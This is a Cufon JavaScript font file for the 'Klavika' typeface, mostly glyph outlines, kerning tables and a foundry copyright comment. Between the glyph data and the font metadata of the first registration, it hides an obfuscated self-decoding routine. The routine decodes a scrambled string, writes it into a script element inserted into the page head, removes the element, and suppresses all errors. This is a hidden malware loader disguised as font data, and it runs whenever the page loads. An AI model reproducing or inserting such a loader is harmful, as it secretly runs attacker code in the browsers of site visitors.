":20,".":20,"y":-2}},{"d":"81,-274r21,14v-64,102,-64,200,0,301r-21,14v-74,-91,-74,-238,0,-329","w":109,"k":{"x":-2,"v":4,"q":4,"m":4,"j":-14,"g":2,"d":7,"X":-5,"V":-7,"Q":5,"@":14,"?":-2,"9":4,"8":4,"7":-7,"6":4,"5":-2,"4":7,"3":-4,"2":-4,"1":4,"0":7,"+":11,"*":4,"%":4,"$":4,"#":7}},{"d":"72,4v-60,2,-51,-60,-51,-117v0,-40,14,-66,74,-66v16,0,43,2,63,7r0,243r-30,4r0,-84v-12,6,-34,13,-56,13xm128,-36r0,-114v-38,-7,-83,-1,-77,36v6,37,-16,93,29,91v15,0,36,-7,48,-13","w":186,"k":{"}":-5,"]":-7,"\\":2}},{"d":"18,-4r3,-25v33,8,105,16,99,-25v3,-31,-5,-49,-36,-49r-50,0r0,-27v35,0,88,6,82,-30v1,-33,0,-52,-39,-50v-16,0,-34,3,-51,6r-3,-26v15,-4,35,-6,54,-6v61,1,69,22,69,72v0,22,-6,36,-28,47v28,5,35,30,32,66v10,57,-81,64,-132,47","w":175,"k":{"7":1,"5":2,"1":3,"\/":7}},{"d":"139,-243r-89,285r-28,0r88,-285r29,0","w":160,"k":{"x":4,"q":11,"p":11,"m":11,"g":13,"d":13,"V":-5,"Q":4,"M":4,"9":5,"8":9,"7":-5,"6":5,"4":11,"1":-2,"0":9,"A":22,"C":5,"G":5,"O":4,"S":5,"T":-7,"W":-5,"Y":-4,"n":11,"a":14,"c":11,"e":13,"f":2,"o":14,"s":14,"t":4,"u":9,"w":5,"z":5,"r":11,"y":2}},{"d":"211,-107r-35,0r0,101v-57,18,-159,17,-149,-48v-2,-35,4,-60,32,-68v-28,-11,-28,-34,-27,-67v-12,-57,85,-61,138,-48r-3,25v-34,-4,-105,-19,-105,26v0,31,-1,53,33,53r116,0r0,26xm57,-57v-8,41,55,36,90,30r0,-80v-46,1,-103,-11,-90,50","w":221},{"d":"23,-151r0,-24r121,0r0,24r-89,127r90,0r0,24r-123,0r0,-24r89,-127r-88,0","w":165,"k":{"]":-4,"a":1,"-":4}},{"d":"183,-57r-34,0r0,57r-30,0r0,-57r-111,0r0,-30r100,-146r41,0r0,150r34,0r0,26xm38,-83r81,0r0,-119","w":193,"k":{"]":-4,"9":2,"5":2,"1":5,",":5,".":5}},{"d":"22,-88r0,-25r90,0r0,25r-90,0","w":133,"k":{"V":18,"X":23,"x":9,")":13,"}":11,"]":11,"M":3,"1":18,"4":-2,"7":20,"j":2,"2":9,"3":5,"5":5,"9":5,"T":38,"W":13,"Y":31,"f":11,"z":2,"A":13,"c":-4,"t":7,"a":2,"Z":9,"S":11,"J":5}},{"d":"209,-234r-97,238r-21,-10r97,-237xm124,-194v2,48,2,83,-53,82v-54,0,-53,-34,-53,-82v0,-30,13,-49,53,-49v40,0,53,19,53,49xm71,-222v-37,-2,-28,31,-29,62v0,17,7,26,29,26v37,0,26,-31,28,-61v0,-17,-6,-27,-28,-27xm283,-78v2,48,2,83,-53,82v-54,0,-53,-34,-53,-82v0,-30,13,-49,53,-49v40,0,53,19,53,49xm230,-106v-37,0,-26,32,-28,62v0,17,6,26,28,26v37,0,26,-32,28,-62v0,-17,-6,-26,-28,-26","w":302,"k":{"}":4,"]":4,"4":-7,"1":7,")":9}},{"d":"27,-175r30,0r0,134v0,12,6,16,17,16v13,0,40,-8,59,-18r0,-132r30,0r0,175r-24,0r-3,-15v-36,19,-109,38,-109,-26r0,-134","w":191},{"d":"57,-68r-18,0v-8,-54,-6,-117,-6,-179r30,0r0,117xm32,0r0,-41r31,0r0,41r-31,0","w":95},{"d":"39,0r-33,0r58,-88r-56,-87r31,0r42,64r41,-64r32,0r-57,87r58,88r-32,0r-42,-65","w":161,"k":{"}":-5,"x":-2,"v":-3,"]":-4,"\\":-2,"*":-7,")":-2,"w":-3,",":-2,".":-2,"-":8,"y":-3}},{"d":"166,-180v1,32,-3,44,-37,61v37,18,43,31,43,65v0,40,-21,58,-74,58v-91,0,-102,-96,-32,-123v-32,-17,-37,-29,-36,-61v0,-33,16,-56,68,-56v52,0,68,23,68,56xm143,-55v1,-31,-6,-32,-45,-50v-39,18,-46,19,-45,50v0,24,12,33,45,33v33,0,45,-9,45,-33xm59,-181v-1,30,3,34,39,50v36,-16,40,-20,39,-50v0,-19,-9,-30,-39,-30v-30,0,-39,11,-39,30","w":195,"k":{"}":2,"\\":7,"9":1,"3":2,"1":4,"\/":7,")":4}},{"d":"108,-215v-82,0,-43,84,-52,146v-7,49,50,50,95,40r0,-81r30,0r0,103v-23,7,-51,11,-76,11v-106,0,-73,-89,-80,-176v-6,-75,83,-80,151,-64r-4,27v-23,-4,-44,-6,-64,-6","w":208,"k":{"}":-11,"]":-9,"\\":-5,")":-4,"A":-2,"Y":3,"-":-2}},{"d":"105,41r-26,0r0,-38v-18,-1,-39,-6,-57,-12r4,-24v38,10,107,27,107,-27v0,-27,-2,-31,-46,-45v-54,-17,-61,-27,-61,-69v0,-40,13,-59,60,-62r0,-37r27,0r0,38v16,1,32,2,46,6r-2,25v-35,-3,-101,-25,-101,30v0,26,3,31,41,43v59,19,66,29,66,71v0,42,-15,59,-58,63r0,38","w":186,"k":{"7":-5,"4":-5,"1":-5}},{"d":"43,-89v1,-13,-9,-16,-23,-15r0,-25v14,1,25,-2,23,-15v6,-55,-23,-145,43,-140r23,0r0,25v-17,0,-36,-4,-36,15r0,86v0,11,2,40,-24,41v26,1,24,30,24,41r0,87v-2,19,19,15,36,15r0,25v-42,3,-66,-4,-66,-47r0,-93","w":112,"k":{"x":-5,"q":2,"p":-7,"m":2,"j":-18,"d":4,"X":-5,"V":-5,"Q":4,"@":11,"9":2,"8":2,"7":-9,"4":4,"3":-4,"2":-5,"0":2,"+":14,"*":4,"A":4,"C":4,"G":4,"J":-14,"O":4,"T":-4,"W":-5,"Y":-5,"n":2,"a":4,"c":2,"e":4,"f":4,"o":4,",":7,".":7,":":7,";":7,"-":11,"r":2}},{"w":77},{"d":"138,-47v0,34,-11,51,-61,51v-18,0,-41,-5,-55,-10r4,-24v25,6,82,22,82,-16v0,-19,-2,-21,-37,-30v-44,-11,-47,-20,-47,-56v-10,-50,67,-53,110,-41r-2,25v-25,-4,-78,-17,-78,17v0,19,0,23,30,30v50,13,54,19,54,54","w":158,"k":{"]":-5,"\/":4,")":4,":":2,";":2,"-":2}},{"d":"30,0r0,-41r31,0r0,41r-22,43r-14,-7r15,-36r-10,0","w":91,"k":{"V":32,"v":22,"x":-2,"Q":5,")":7,"}":7,"*":36,"]":4,"@":11,"1":25,"4":16,"7":2,"%":29,"C":5,"O":5,"T":40,"U":7,"W":32,"Y":47,"o":5,"y":16,"f":16,"G":5,"A":-4,"t":13,"w":11,"J":5}},{"d":"55,-104v22,-22,70,-35,63,-80v10,-52,-56,-42,-94,-34r-4,-26v14,-4,40,-7,58,-7v58,0,70,21,70,65v0,60,-45,77,-76,105xm54,0r0,-41r31,0r0,41r-31,0","w":171},{"d":"229,-62r-47,0r-3,62r-24,0r3,-62r-65,0r-4,62r-25,0r4,-62r-46,0r1,-23r47,0r3,-67r-47,0r1,-23r48,0r3,-58r25,0r-4,58r65,0r3,-58r25,0r-4,58r47,0r-2,23r-46,0r-4,67r47,0xm98,-152r-4,67r65,0r3,-67r-64,0","w":254,"k":{"7":-5,"4":-5,"1":-5,")":4}},{"d":"180,0r-60,-87r-58,0r0,87r-31,0r0,-240r91,0v67,0,70,35,70,94v0,28,-11,48,-39,56r63,90r-36,0xm161,-146v0,-38,6,-66,-40,-66r-59,0r0,98v40,-2,99,12,99,-32","w":227,"k":{"}":-4,"x":-5,"v":2,"q":2,"d":1,"\\":2,"V":12,"Q":6,"!":-4,"A":-3,"C":4,"G":4,"O":6,"T":11,"W":5,"Y":14,"a":3,"c":2,"e":3,"o":3,"u":2,",":-2,".":-2,":":2,";":2,"-":13,"y":4,"U":4}},{"d":"41,-138r28,-43r-51,0r0,-17r52,0r-28,-44r13,-9r30,46r29,-46r14,9r-28,44r52,0r0,17r-52,0r29,43r-15,9r-29,-46r-30,46","w":170,"k":{"}":4,")":4,",":54,".":54,":":23,";":23}},{"d":"31,0r0,-41r31,0r0,41r-31,0","k":{"V":32,"v":22,"x":-2,"Q":5,")":7,"}":7,"*":36,"]":4,"@":11,"1":25,"4":16,"7":2,"%":29,"C":5,"O":5,"T":40,"U":7,"W":32,"Y":47,"o":5,"y":16,"f":16,"G":5,"A":-4,"t":13,"w":11,"J":5}},{"d":"9,-206r0,-27r143,0r0,26r-96,207r-30,0r95,-206r-112,0","w":158,"k":{"}":-7,"]":-7,"\\":-9,"@":4,"?":-9,"9":2,"8":7,"7":-2,"6":3,"4":14,"1":-4,"0":2,"\/":27,")":-7,",":38,".":38,":":16,";":16,"-":14}},{"d":"73,4v-63,0,-47,-68,-51,-126v-4,-56,56,-65,107,-52r0,-73r30,-4r0,251r-25,0r-3,-16v-14,12,-35,20,-58,20xm129,-44r0,-103v-34,-5,-80,-16,-76,25v4,38,-19,100,27,99v17,0,36,-9,49,-21","w":188,"k":{"}":-9,"]":-9,"\\":-5,")":-4}},{"d":"34,-179r149,82r0,19r-149,82r-11,-20r132,-72r-132,-71","w":200},{"d":"7,-260r22,-14v73,91,73,238,0,329r-22,-14v64,-101,64,-199,0,-301","w":109},{"d":"108,-215v-81,0,-45,84,-52,146v-7,56,62,47,109,39r3,27v-17,4,-43,7,-61,7v-105,5,-75,-89,-82,-177v-5,-68,77,-80,143,-64r-3,27v-18,-3,-43,-5,-57,-5","w":185,"k":{"}":-13,"x":-2,"v":9,"q":5,"d":5,"]":-11,"\\":-7,"X":-4,"V":-2,"Q":5,"?":-7,"\/":2,"*":-7,")":-9,"A":-4,"C":5,"G":5,"O":5,"a":4,"c":6,"e":6,"o":6,"t":2,"u":4,"w":2,"-":16,"y":7}},{"d":"18,-97r149,-82r10,20r-131,71r131,72r-10,20r-149,-82r0,-19","w":200},{"d":"31,0r0,-240r86,0v67,0,70,35,70,95v0,58,-62,63,-125,59r0,86r-31,0xm156,-145v-3,-38,7,-67,-40,-67r-54,0r0,99v39,-2,97,10,94,-32","w":200,"k":{"}":-4,"x":-5,"v":-9,"]":-4,"\\":-9,"X":5,"V":-1,"\/":18,"*":-14,"!":-4,"A":16,"W":-2,"Z":4,"a":2,"f":-4,"t":-5,"w":-7,",":49,".":49,":":5,";":5,"-":2,"y":-7}},{"d":"31,0r0,-240r141,0r0,28r-110,0r0,75r102,0r0,28r-102,0r0,81r110,0r0,28r-141,0","w":194,"k":{"}":-7,"x":-2,"]":-4,"\\":-4,"X":-4,"Q":4,"\/":-4,")":-5,"A":-4,"C":3,"G":3,"O":3,"Y":-2,"a":2,"o":2,"-":-2}},{"d":"30,0r0,-41r31,0r0,41r-22,43r-14,-7r15,-36r-10,0xm30,-110r0,-42r31,0r0,42r-31,0","w":91},{"d":"165,0r-30,0r0,-134v0,-12,-6,-16,-17,-16v-13,0,-40,8,-59,18r0,132r-30,0r0,-247r30,-4r0,90v36,-19,106,-36,106,27r0,134","w":191,"k":{"}":4,"\\":2}},{"d":"62,0r-31,0r0,-240r142,0r0,28r-111,0r0,80r104,0r0,28r-104,0r0,104","w":187,"k":{"}":-9,"d":3,"]":-9,"\\":-9,"V":-4,"Q":2,"?":-7,"\/":14,"*":-9,")":-7,"A":16,"C":2,"G":2,"O":2,"W":-5,"Y":-9,"a":3,"c":2,"e":2,"o":2,"s":2,"u":2,"w":-2,",":34,".":34,":":4,";":4,"-":-2}},{"d":"31,-240r83,0v103,-1,78,85,78,171v0,38,-19,69,-78,69r-83,0r0,-240xm62,-212r0,184v47,1,105,5,99,-43v-8,-59,26,-145,-48,-141r-51,0","w":214,"k":{"x":-1,"v":-3,"X":4,"V":4,"\/":7,")":4,"A":5,"T":4,"W":2,"Y":6,"w":-2,",":7,".":7}},{"d":"86,0r-80,-240r30,0r71,213r70,-213r30,0r-80,240r-41,0","w":213,"k":{"}":-5,"x":2,"q":13,"p":11,"m":11,"g":11,"d":13,"]":-4,"\\":-9,"V":-5,"Q":5,"?":-9,"\/":25,"*":-11,")":-7,"!":-4,"A":20,"C":4,"G":4,"O":5,"S":1,"T":-5,"W":-7,"Y":-7,"n":11,"a":14,"c":11,"e":14,"o":14,"s":14,"t":2,"u":10,",":32,".":32,":":23,";":23,"-":18,"z":7,"r":13}},{"d":"199,0r-31,0r0,-109r-106,0r0,109r-31,0r0,-240r31,0r0,104r106,0r0,-104r31,0r0,240","w":229},{"d":"79,0r0,-212r-72,0r0,-28r174,0r0,28r-71,0r0,212r-31,0","w":188,"k":{"V":-4,"v":27,"x":25,"Q":6,"\/":27,"\\":-9,")":-5,"}":-4,"?":-11,"!":-5,"*":-11,"d":25,"g":27,"q":27,"]":-5,"m":27,"p":27,"M":2,"C":6,"O":6,"W":-4,"Y":-5,"e":26,"o":26,"y":27,"f":7,"z":27,"G":6,",":40,".":40,":":36,";":36,"-":38,"A":20,"c":25,"t":11,"u":27,"a":25,"w":25,"n":27,"r":31,"s":29,"S":1}},{"d":"99,-236v105,0,75,92,75,177v0,36,-19,63,-75,63v-105,0,-74,-93,-74,-178v0,-36,18,-62,74,-62xm143,-171v0,-26,-11,-39,-44,-39v-33,0,-44,13,-44,39r0,109v0,26,11,39,44,39v33,0,44,-13,44,-39r0,-109","w":198,"k":{"}":2,"7":1,"2":1,"\/":7,")":7}},{"d":"31,-110r0,-42r31,0r0,42r-31,0xm31,0r0,-41r31,0r0,41r-31,0","k":{"}":7,"v":5,"V":23,"Q":4,"M":4,"7":2,"4":-4,"1":7,"*":11,")":9,"A":-2,"O":4,"T":36,"W":20,"Y":31,"w":4,"U":2}},{"d":"133,-240r81,240r-31,0r-20,-58r-102,0r-20,58r-31,0r81,-240r42,0xm155,-85r-43,-132r-43,132r86,0","w":223},{"d":"151,-102r10,-54v-16,-5,-41,-8,-43,11r-6,39v-2,9,0,12,11,12v8,0,21,-3,28,-8xm116,-75v-40,1,-21,-43,-18,-70v5,-41,54,-38,86,-23r-14,76v35,10,56,-20,56,-52v0,-48,-31,-79,-87,-79v-53,0,-94,41,-94,103v0,87,91,126,169,89r7,18v-90,46,-199,-5,-199,-107v0,-72,47,-123,117,-123v71,0,109,40,109,99v0,54,-56,94,-95,59v-12,6,-24,10,-37,10","w":267,"k":{"}":7,"]":4,")":7,"A":5,",":14,".":14}},{"d":"155,18r-155,0r0,-14r155,0r0,14","w":154},{"d":"123,-31r-61,-163r-5,194r-30,0r8,-240r40,0r69,186r69,-186r39,0r8,240r-30,0r-4,-194r-61,163r-42,0","w":287,"k":{"x":-2,"\\":-2,"\/":4,"A":-2,"a":2,"e":1,"o":1,":":4,";":4,"-":3}},{"d":"63,-240r0,240r-31,0r0,-240r31,0","w":95},{"d":"188,-80v0,101,-80,79,-157,80r0,-240v61,2,149,-16,149,49v0,35,3,57,-28,68v21,4,36,17,36,43xm124,-27v33,1,33,-21,33,-52v0,-40,-57,-28,-95,-30r0,82r62,0xm116,-135v35,0,33,-23,33,-55v0,-34,-55,-20,-87,-23r0,78r54,0","w":205,"k":{"v":-1,"]":-4,"\\":-4,"V":4,"\/":4,"T":4,"Y":6,"y":-1}},{"d":"59,0r-30,0r0,-175r30,0r0,175xm59,-203r-30,0r0,-44r30,0r0,44","w":87},{"d":"168,-240r31,0r0,173v0,39,-23,71,-85,71v-62,0,-85,-32,-85,-71r0,-173r31,0r0,171v0,30,16,45,54,45v38,0,54,-15,54,-45r0,-171","w":227,"k":{"\/":11,"\\":-5,"Y":-1,",":7,".":7,":":2,";":2,"A":4}},{"d":"50,-159r-25,0r0,-88r25,0r0,88","w":75},{"d":"11,0r78,-122r-76,-118r33,0r60,94r60,-94r33,0r-76,118r78,122r-33,0r-62,-97r-62,97r-33,0","w":212,"k":{"}":-5,"x":-4,"v":7,"q":4,"g":4,"d":4,"]":-5,"\\":-4,"V":-2,"Q":4,"?":-4,"\/":2,")":-5,"!":-9,"A":-2,"C":4,"G":4,"O":4,"T":-1,"W":-2,"Y":-4,"a":4,"c":4,"e":5,"o":6,"u":2,"-":23,"y":7}},{"d":"125,-74v9,-42,-63,-30,-95,-32r0,-127r122,0r0,27r-92,0r0,74v52,-4,102,10,95,55v3,54,-7,80,-74,81v-18,0,-42,-3,-60,-9r3,-24v37,7,109,18,101,-29r0,-16","w":178,"k":{"]":-5,"\\":-4,"9":1,"7":-1,"1":3,"\/":5}}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+267-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("|nFdh`ZS3qky|AQ(5`g*1n1kHKZdF`kyHK]*3qXWFfGNI[SChgLCIVF!OVg`I*NkU-r!Hg&:}d^5UKfPiV]Gwgs.FK{*3-&8}HFFH`]SfSks=Up&9dLP]W>SoUfd1H!rX*X(Hv}L9n7Lw*L+1d1YoD5-%CQT%g,gOKpnXgF1fTm2z},iV}QA3f}WqT}CoWZLhnQS|A1C|U&^%VmNwTdCoWmNhTdLo`&Qh`5S3A&W%q1yFC{WhvQL3v9k=:S(3qI>IC{P3[SPHC!+OW5:5dLy|VG>%[^[5ngW3q{WHA{`IHZ>3qkyIKfy5v]phgLyIKm,AT7gnv1]|o9ZO%zXUV}fqHIF3hw5=i!pCD-Q`W>^Y.NsyPL&*[SdK:r{2(Gk8+gGF`g[3nQPh`ZQhWX*Iq&wo`ZpiAr.HA{`IHZ>3qkyIKfy5v]phgLyIKgGhnkDIq&>h:ZSiT7{9QLy9VIrHArLHAr&9[ZGIKpdIKswo`ZPhU--oK-y5nf[5ApNhKZp5nQPhC{>h:ZSh`gsFU-^F`k*|Ts^%nL(|*s^|q5hIds^HfSkwgs^HHS^|A-!")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":92,"face":{"font-family":"klavika","font-weight":400,"font-stretch":"normal","units-per-em":"360","panose-1":"2 0 0 0 0 0 0 0 0 0","ascent":"270","descent":"-90","x-height":"4","bbox":"-3 -284.606 320 76","underline-thickness":"7.2","underline-position":"-40.68","stemh":"26","stemv":"30","unicode-range":"U+0020-U+007E"}}));
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright 2004 Process Type Foundry. All rights reserved.
 * 
 * Trademark:
 * Please refer to the Copyright section for the font trademark attribution
 * notices.
 * 
 * Designer:
 * Eric Olson
 * 
 * Vendor URL:
 * http://www.processtypefoundry.com
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"75,0r-52,0r0,-247r52,-7r0,254"},{"d":"203,-240r-74,171r0,69r-54,0r0,-69r-75,-171r57,0r45,111r45,-111r56,0","w":203,"k":{"V":-7,"v":4,"x":5,"Q":7,"\/":27,"\\":-5,")":-7,"}":-5,"?":-5,"*":-5,"]":-5,"m":18,"d":20,"g":22,"p":18,"q":22,"A":17,"C":5,"O":7,"T":-11,"W":-7,"Y":-11,"e":23,"o":23,"y":7,"f":4,"z":13,"G":5,",":40,".":40,":":25,";":25,"-":27,"a":20,"c":23,"u":18,"n":18,"r":18,"s":20,"w":7,"t":2,"S":4}},{"d":"70,4v-56,0,-56,-58,-56,-118v0,-61,50,-74,104,-60r0,-73r52,-7r0,254r-41,0r-5,-14v-12,8,-35,18,-54,18xm118,-55r0,-75v-18,-4,-55,-11,-52,16v4,28,-12,72,19,73v12,0,25,-8,33,-14","w":193,"k":{"}":-5}},{"d":"122,-130v-15,6,-36,15,-47,23r0,107r-52,0r0,-175r44,0r3,17v11,-7,33,-18,47,-21","w":124,"k":{"}":-4,"x":-5,"v":-5,"\/":7,"*":-9,")":-5,"c":-2,"t":-4,"w":-11,",":27,".":27,":":4,";":4,"-":-4,"y":-13}},{"d":"177,0r-51,0r0,-116v-3,-25,-35,-8,-51,0r0,116r-52,0r0,-247r52,-7r0,91v44,-23,102,-28,102,40r0,123","w":199,"k":{"}":4,"\\":2,"-":-2}},{"d":"187,-192r-64,0r0,192r-54,0r0,-192r-65,0r0,-48r183,0r0,48","w":191,"k":{"V":-9,"v":18,"x":18,"Q":4,"\/":23,"\\":-4,")":-9,"}":-4,"?":-13,"!":-5,"*":-16,"]":-7,"m":20,"d":23,"g":20,"p":20,"q":23,"A":18,"C":4,"O":4,"W":-5,"Y":-11,"e":23,"o":23,"y":16,"z":16,"G":4,",":36,".":36,":":31,";":31,"-":31,"a":18,"c":23,"u":25,"n":20,"r":20,"s":22,"w":22}},{"d":"177,0r-51,0r0,-116v-3,-25,-35,-8,-51,0r0,116r-52,0r0,-175r39,0r5,13v46,-22,110,-33,110,39r0,123","w":199,"k":{"}":2,"\\":2,"-":-2}},{"d":"121,63r-26,-60v-98,-10,-75,-84,-77,-173v0,-36,25,-73,93,-73v114,0,91,78,93,173v0,28,-16,56,-54,68r20,45xm111,-44v63,0,39,-71,39,-121v0,-19,-12,-30,-39,-30v-63,0,-39,70,-39,120v0,19,12,31,39,31","w":221,"k":{"}":4,"]":4,"\\":4,"X":5,"V":3,"\/":11,")":5,"A":4,"T":4,"W":2,"Y":7,",":4,".":4}},{"d":"101,71r-49,0r20,-71r-16,0r-54,-175r52,0r36,124r36,-124r52,0","w":178,"k":{"x":-7,"v":-9,"\/":7,"*":-14,"e":2,"f":-7,"t":-9,"w":-7,",":20,".":20,"-":-2,"y":-7}},{"d":"174,0r-151,0r0,-240r151,0r0,48r-97,0r0,44r90,0r0,48r-90,0r0,52r97,0r0,48","w":192,"k":{"}":-7,"x":-2,"v":-2,"X":-4,"V":-2,"A":-5,"C":2,"G":2,"W":-2,"Y":-2,"-":-2}},{"d":"155,-151r-31,19r-40,-72r-41,72r-30,-19r54,-96r33,0","w":167},{"d":"75,-197r-52,0r0,-55r52,0r0,55xm75,0r-52,0r0,-175r52,0r0,175"},{"d":"160,0r-43,0r-3,-11v-45,29,-96,15,-96,-39v0,-50,41,-51,90,-49v0,-25,4,-38,-31,-37v-15,0,-30,2,-47,5r-7,-39v17,-5,43,-9,63,-9v108,0,65,96,74,179xm108,-43r0,-20v-16,1,-40,-6,-40,13v0,21,30,12,40,7","w":179,"k":{")":4,"w":-4}},{"d":"94,-221r-18,28v-20,-11,-34,-20,-56,-34r19,-30v19,14,37,25,55,36","w":111},{"d":"66,-83r-30,0v-12,-47,-12,-105,-11,-164r52,0v1,59,1,118,-11,164xm77,0r-52,0r0,-60r52,0r0,60","w":102},{"w":75},{"d":"65,76r-36,0r0,-360r36,0r0,360","w":93},{"d":"212,-240r-67,240r-77,0r-68,-240r55,0r51,191r51,-191r55,0","w":212,"k":{"}":-5,"q":7,"p":9,"m":9,"g":9,"d":9,"]":-7,"\\":-4,"V":-9,"Q":3,"?":-13,"\/":22,"*":-11,")":-7,"!":-4,"A":14,"C":3,"G":3,"O":3,"T":-7,"W":-9,"Y":-13,"n":9,"a":13,"c":11,"e":9,"o":11,"s":9,"u":7,"z":2,",":29,".":29,":":18,";":18,"-":11,"r":7,"y":2}},{"d":"75,0r-52,0r0,-60r52,0r0,60xm75,-105r-52,0r0,-60r52,0r0,60","k":{"}":7,"v":5,"V":18,"7":5,"1":11,"*":11,")":7,"A":-4,"T":31,"W":14,"Y":25,"w":4}},{"d":"172,0r-149,0r0,-240r54,0r0,192r95,0r0,48","w":179,"k":{"}":-7,"x":-7,"v":9,"\\":16,"X":-4,"V":20,"Q":4,"@":7,"?":9,"*":54,"!":-7,"A":-13,"C":4,"G":4,"O":4,"T":28,"W":20,"Y":28,"f":2,"t":4,"w":5,",":-11,".":-11,"-":36,"y":11,"U":5}},{"d":"73,-197r-51,0r0,-55r51,0r0,55xm26,75r-31,-34v16,-15,27,-25,27,-40r0,-176r51,0r0,183v0,21,-15,40,-47,67","w":95,"k":{"\/":2}},{"d":"88,45r-81,0r0,-41r29,0r0,-247r-29,0r0,-41r81,0r0,329","w":114},{"w":75},{"d":"170,-175r-54,87r56,88r-52,0r-31,-49r-31,49r-53,0r56,-88r-54,-87r51,0r31,48r30,-48r51,0","w":177,"k":{"}":-5,"v":-5,"]":-4,"*":-7,")":-4,"w":-5,",":-4,".":-4,"-":5,"y":-4}},{"d":"110,-67v-24,0,-39,-23,-50,-23v-12,0,-19,13,-23,23r-28,-17v11,-28,26,-45,51,-45v18,0,37,22,50,22v12,0,19,-12,22,-22r29,16v-8,24,-24,46,-51,46","w":165},{"d":"222,-141r0,43r-35,0r0,89v-28,9,-61,13,-89,13v-64,0,-76,-28,-76,-80v0,-23,6,-39,27,-48v-22,-14,-24,-31,-23,-59v0,-35,19,-60,76,-60v30,0,58,3,78,8r-6,42v-21,-4,-50,-7,-72,-7v-25,-1,-26,14,-25,37v0,13,5,22,21,22r124,0xm138,-98v-36,-1,-73,-4,-65,36v-1,29,42,25,65,19r0,-55","w":232},{"d":"17,-136r0,-39r132,0r0,39r-73,96r75,0r0,40r-135,0r0,-40r73,-96r-72,0","w":165,"k":{"]":-4,")":-2,"-":-2}},{"d":"93,-135v-38,-3,-27,36,-29,68v-2,32,39,28,65,22r6,43v-64,17,-122,0,-122,-66v0,-70,5,-114,80,-111v12,0,24,1,42,5r-6,44v-11,-3,-26,-5,-36,-5","w":146,"k":{"}":-4,"x":-7,"v":-5,"c":2,"e":2,"o":1,"t":-1,"w":-5,"-":-5,"y":-5}},{"d":"201,-172v0,66,-10,100,-83,99r-41,0r0,73r-54,0r0,-240r98,0v58,0,80,23,80,68xm118,-120v34,1,27,-20,29,-47v3,-32,-41,-24,-70,-25r0,72r41,0","w":210,"k":{"}":-5,"v":-5,"X":5,"\/":22,"A":16,"Y":4,"Z":4,"a":2,"f":-4,"t":-4,"w":-4,",":54,".":54,":":5,";":5,"y":-5}},{"d":"117,-31r-41,-102r-4,133r-52,0r10,-240r54,0r57,153r58,-153r54,0r10,240r-52,0r-4,-133r-41,102r-49,0","w":282,"k":{"\/":5,"A":-2,"a":2,"o":2,"-":2}},{"d":"160,31r-160,0r0,-27r160,0r0,27","w":159},{"d":"143,-52v0,63,-81,64,-129,45r9,-38v14,4,34,8,53,8v15,0,18,-5,18,-15v0,-11,-1,-13,-29,-20v-42,-10,-46,-21,-46,-54v0,-58,67,-59,120,-47r-5,40v-20,-2,-67,-14,-67,7v0,11,2,12,23,17v50,11,53,22,53,57","w":155,"k":{"v":-4,"\/":4,")":4,"t":-1,"w":-4,"-":-4,"y":-4}},{"d":"69,44r0,-41v-18,-1,-36,-6,-53,-12r10,-42v29,8,87,26,87,-16v0,-20,-3,-24,-35,-30v-53,-10,-60,-25,-60,-72v0,-41,14,-62,60,-66r0,-42r42,0r0,42v14,1,27,3,40,6r-5,44v-22,-2,-86,-23,-86,17v0,20,2,20,36,29v58,15,60,29,60,72v0,41,-10,63,-55,69r0,42r-41,0","w":180,"k":{"7":-5,"4":-5,"1":-5,")":2}},{"d":"108,-136r0,39v-12,-1,-22,0,-22,12v0,60,15,141,-51,136r-31,0r0,-41v15,0,30,2,30,-15v0,-46,-16,-112,34,-112v-51,0,-34,-66,-34,-111v0,-17,-14,-15,-30,-15r0,-41v48,-3,82,4,82,53r0,83v-1,11,10,13,22,12","w":122},{"d":"42,55r-38,-21v55,-76,55,-211,0,-287r38,-21v32,40,56,94,56,165v0,71,-24,124,-56,164","w":117},{"d":"77,-28v47,8,86,-2,86,47v0,66,-89,62,-150,47r7,-38v21,5,43,7,58,7v27,0,38,-1,38,-13v0,-7,-4,-7,-14,-9v-32,-6,-84,4,-82,-36v0,-14,6,-23,15,-32v-21,-11,-22,-36,-22,-67v0,-45,50,-67,101,-53r55,0r0,24r-18,7v17,53,-1,104,-72,99v-8,2,-12,16,-2,17xm84,-86v25,1,25,-12,24,-34v0,-12,-7,-18,-24,-18v-25,-1,-24,14,-23,35v0,12,6,17,23,17","w":174,"k":{"}":-7,"x":-4,"v":-7,"j":-7,"]":-5,"*":-9,")":-4,"w":-5,"-":-4,"y":-7}},{"d":"104,42r-90,-285r46,0r90,285r-46,0","w":166,"k":{"v":11,"j":-11,"d":2,"X":5,"V":27,"Q":14,"M":4,"9":7,"8":9,"7":14,"6":13,"5":7,"4":13,"3":4,"2":5,"1":29,"0":9,"A":-2,"C":13,"G":14,"J":-14,"O":14,"S":9,"T":27,"W":27,"Y":31,"a":2,"c":4,"e":4,"f":11,"o":5,"s":2,"t":7,"u":2,"w":5,"y":7,"U":18}},{"d":"94,4v-80,0,-80,-46,-80,-112v0,-36,18,-71,80,-71v80,0,79,46,79,112v0,36,-17,71,-79,71xm94,-40v36,0,25,-38,27,-69v0,-17,-8,-26,-27,-26v-37,0,-27,37,-28,69v0,17,9,26,28,26","w":187,"k":{"\/":5,"\\":5,")":4,"}":4,"]":2,",":2,".":2,"-":-4}},{"d":"75,0r-52,0r0,-247r52,-7r0,254xm82,-88r45,-87r55,0r-46,87r48,88r-55,0","w":189,"k":{"}":2,"x":-4,"v":-4,"c":2,"e":2,"o":2,"w":-4,"-":4,"y":-2}},{"d":"161,0r-34,-114r-34,114r-56,0r-31,-175r48,0r17,102r30,-102r52,0r30,102r17,-102r47,0r-30,175r-56,0","w":253,"k":{"v":-9,"x":-4,"\/":5,")":2,"*":-7,"y":-5,"f":-5,",":9,".":9,":":4,";":4,"-":-4,"a":2,"w":-7,"t":-5}},{"d":"149,-240r73,240r-56,0r-13,-47r-80,0r